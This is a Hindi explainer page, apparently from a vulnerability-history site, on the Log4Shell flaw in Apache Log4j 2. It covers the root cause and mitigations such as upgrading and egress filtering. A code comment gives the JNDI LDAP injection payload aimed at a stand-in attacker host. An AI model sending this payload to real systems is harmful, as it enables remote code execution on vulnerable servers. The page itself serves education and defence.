flawopen.com/घटनाएं/Log4Shell
कल्पना कीजिए कि एक कार्यालय में एक क्लर्क है जिसका काम केवल आगंतुकों की कही बातों को नोटबुक में लिखना है। किसी को पता चलता है कि यदि कोई आगंतुक एक खास जादुई वाक्य बोलता है, तो क्लर्क लिखना बंद कर देता है, वाक्य में दिए गए पते पर जाता है, एक अनजान व्यक्ति से सीलबंद लिफाफा लेता है, और लिफाफे में लिखे सभी निर्देशों का पालन करने लगता है। क्लर्क को कभी कुछ करना नहीं था, उसका काम केवल बातें लिखना था।
Apache Log4j 2 जावा इकोसिस्टम में सबसे व्यापक रूप से तैनात लॉगिंग लाइब्रेरीज़ में से एक है — जो प्रत्यक्ष या अप्रत्यक्ष रूप से अनगिनत एंटरप्राइज़ जावा अनुप्रयोगों में मौजूद है। दिसंबर 2021 में यह सामने आया कि Log4j 2 लॉग किए जा रहे टेक्स्ट के भीतर मौजूद ${jndi:...} एक्सप्रेशंस का मूल्यांकन (इंटरपोलेशन) करता है, जिसके कारण JVM हमलावर के नियंत्रित सर्वर से संपर्क करके रिमोट जावा क्लास लोड कर लेता है।
इसका परिणाम इस दशक की संभवतः सबसे घातक भेद्यता के रूप में सामने आया। कोई भी इनपुट जो लॉग स्टेटमेंट तक पहुंचता था, वह एक हमला वेक्टर बन गया: HTTP हेडर्स, असफल लॉगिन पर यूजरनेम, User-Agent स्ट्रिंग्स, चैट मैसेज, फ़ाइल नाम और सर्च क्वेरीज़। चूंकि लॉगिंग का मूल उद्देश्य ही अविश्वसनीय इनपुट को रिकॉर्ड करना होता है, इसलिए हमले का दायरा वस्तुतः "हर जगह" फैल गया।
Log4j 2 ने केवल डेवलपर द्वारा दिए गए फ़ॉर्मेट पैटर्न पर ही नहीं, बल्कि स्वयं लॉग संदेश (Message) पर भी स्ट्रिंग इंटरपोलेशन लागू किया। इसने टेम्पलेट (भरोसेमंद, डेवलपर द्वारा लिखित) और डेटा (अविश्वसनीय, यूजर द्वारा भेजा गया) के बीच की सुरक्षा सीमा को खत्म कर दिया। एक बार जब हमलावर इंटरपोलेट होने वाले टेक्स्ट को नियंत्रित कर लेता है, तो वह पूरे एक्सप्रेशन इवैल्यूएटर को नियंत्रित कर लेता है।
उपलब्ध jndi लुकअप प्रीफ़िक्स ने JNDI के माध्यम से नाम रिज़ॉल्व किए, जो LDAP और RMI का समर्थन करता है। एक तैयार की गई LDAP प्रतिक्रिया ऐसा रेफरेंस लौटा सकती है जो JVM को हमलावर के HTTP सर्वर से क्लास डाउनलोड और इंस्टेंटिएट करने का निर्देश देती है — जिससे जानकारी लीक होना एक ही झटके में मनमाना कोड निष्पादन (RCE) बन गया।
अकेले दोनों में से कोई भी हिस्सा स्पष्ट रूप से खतरनाक नहीं था। लॉग आउटपुट में वेरिएबल्स इंटरपोलेट करना एक सुविधाजनक फ़ीचर था। JNDI एक मानक एंटरप्राइज़ जावा API है। भेद्यता इन दोनों के घातक संयोजन में थी — अविश्वसनीय डेटा से सुलभ एक समृद्ध एक्सप्रेशन भाषा, जिसका एक एक्सप्रेशन संयोग से रिमोट कोड लोडर निकला।
// एप्लिकेशन कोड — पूरी तरह हानिरहित दिखता है, // और इसे बेस्ट प्रैक्टिस माना जाता था logger.info("Login failed for user: {}", request.getParameter("user")); // हमलावर यूजरनेम के रूप में यह पेलोड भेजता है: // ${jndi:ldap://attacker.tld/a} // Log4j इसे इंटरपोलेट करता है, LDAP लुकअप करता है, // लौटाए गए क्लास को डाउनलोड करके निष्पादित कर देता है।
// 1. अपग्रेड करें। यह वास्तविक समाधान है। // Log4j 2.17.1+ डिफ़ॉल्ट रूप से मैसेज // लुकअप और JNDI को अक्षम कर देता है। // 2. संरचनात्मक रूप से: कभी भी अविश्वसनीय डेटा // को एक्सप्रेशन इवैल्यूएटर तक न पहुंचने दें। // 3. सुरक्षा-में-गहराई (Egress filtering): // जिस सर्वर पर कोई आउटबाउंड LDAP/RMI मार्ग नहीं // है, वह पेलोड डाउनलोड नहीं कर सकता।
Log4j 1.x में वह मैसेज-लुकअप फ़ीचर नहीं था जिसके कारण CVE-2021-44228 हुआ। हालांकि, 1.x का जीवन चक्र 2015 में समाप्त हो गया था और इसमें अपनी अनसुलझी खामियां हैं, इसलिए यह सुरक्षित विकल्प नहीं है — सही कदम नवीनतम 2.x संस्करण पर अपग्रेड करना है।
शुरुआती मार्गदर्शन में formatMsgNoLookups सेट करने जैसे कई अस्थायी उपाय सुझाए गए थे। इनसे जोखिम कम हुआ लेकिन कुछ कॉन्फ़िगरेशन और संस्करणों में ये अधूरे थे। अपग्रेड करना ही एकमात्र विश्वसनीय और स्थायी समाधान था और रहेगा।